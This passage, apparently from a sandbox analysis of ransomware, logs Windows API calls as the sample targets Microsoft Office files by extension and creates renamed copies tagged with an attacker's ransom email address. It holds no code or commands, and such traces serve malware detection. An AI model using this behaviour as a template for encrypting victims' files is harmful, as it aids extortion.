Office\\root\\Licenses16\\VisioProCO365R_SubTest-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.626] CloseHandle (hObject=0x1234) returned 1 [0253.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-pl.xrm-ms") returned 82 [0253.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-pl.xrm-ms") returned 82 [0253.627] lstrlenW (lpString=".doc") returned 4 [0253.627] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0253.627] lstrlenW (lpString=".docx") returned 5 [0253.627] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0253.627] lstrlenW (lpString=".pdf") returned 4 [0253.627] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0253.627] lstrlenW (lpString=".xls") returned 4 [0253.627] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0253.627] lstrlenW (lpString=".xlsx") returned 5 [0253.627] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0253.627] lstrlenW (lpString=".ppt") returned 4 [0253.627] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0253.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-pl.xrm-ms") returned 82 [0253.627] lstrlenW (lpString=".zip") returned 4 [0253.627] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0253.627] lstrlenW (lpString=".rar") returned 4 [0253.627] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0253.627] lstrlenW (lpString=".bz2") returned 4 [0253.627] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0253.627] lstrlenW (lpString=".7z") returned 3 [0253.627] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0253.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-pl.xrm-ms") returned 82 [0253.627] lstrlenW (lpString=".dbf") returned 4 [0253.627] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0253.628] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.628] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.628] CloseHandle (hObject=0x1234) returned 1 [0253.629] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.629] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.629] CloseHandle (hObject=0x1234) returned 1 [0253.630] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.630] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTrial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtrial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.631] CloseHandle (hObject=0x1234) returned 1 [0253.631] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.632] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTrial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtrial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.632] CloseHandle (hObject=0x1234) returned 1 [0253.633] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.633] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtrial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.633] CloseHandle (hObject=0x1234) returned 1 [0253.873] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.873] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprodemor_bypasstrial180-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.873] CloseHandle (hObject=0x1234) returned 1 [0253.912] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.912] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.913] CloseHandle (hObject=0x1234) returned 1 [0253.914] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.914] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.914] CloseHandle (hObject=0x1234) returned 1 [0253.915] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.915] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.916] CloseHandle (hObject=0x1234) returned 1 [0253.918] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.918] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.918] CloseHandle (hObject=0x1234) returned 1 [0253.919] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.919] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.920] CloseHandle (hObject=0x1234) returned 1 [0253.921] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.921] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.921] CloseHandle (hObject=0x1234) returned 1 [0253.922] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.922] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.922] CloseHandle (hObject=0x1234) returned 1 [0253.923] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.923] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_KMS_Client-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_kms_client-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.924] CloseHandle (hObject=0x1234) returned 1 [0253.925] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.925] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_kms_client-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.925] CloseHandle (hObject=0x1234) returned 1 [0253.926] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.926] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_KMS_Client-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_kms_client-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.926] CloseHandle (hObject=0x1234) returned 1 [0253.928] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.928] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.928] CloseHandle (hObject=0x1234) returned 1 [0253.929] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.929] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.930] CloseHandle (hObject=0x1234) returned 1 [0253.931] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.932] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.932] CloseHandle (hObject=0x1234) returned 1 [0253.934] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.934] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.934] CloseHandle (hObject=0x1234) returned 1 [0253.950] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.951] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.951] CloseHandle (hObject=0x1194) returned 1 [0253.952] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.952] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\dcfmui.msi.16_dcfmui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\dcfmui.msi.16_dcfmui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.952] CloseHandle (hObject=0x1194) returned 1 [0253.953] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.953] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\excelmui.msi.16_excelmui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\excelmui.msi.16_excelmui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.954] CloseHandle (hObject=0x1194) returned 1 [0253.955] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.955] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\groovemui.msi.16_groovemui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\groovemui.msi.16_groovemui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.955] CloseHandle (hObject=0x1194) returned 1 [0253.956] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.956] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\lyncmui.msi.16_lyncmui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\lyncmui.msi.16_lyncmui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.956] CloseHandle (hObject=0x1194) returned 1 [0253.958] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.958] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\office32mui.msi.16_office32mui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\office32mui.msi.16_office32mui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.958] CloseHandle (hObject=0x1194) returned 1 [0254.107] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.108] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_AppXManifestLoc.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemui.msi.16_appxmanifestloc.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.108] CloseHandle (hObject=0x1234) returned 1 [0254.110] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.110] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\AEC.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\aec.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.111] CloseHandle (hObject=0x1234) returned 1 [0254.112] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.112] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\AECUTILS.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\aecutils.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.112] 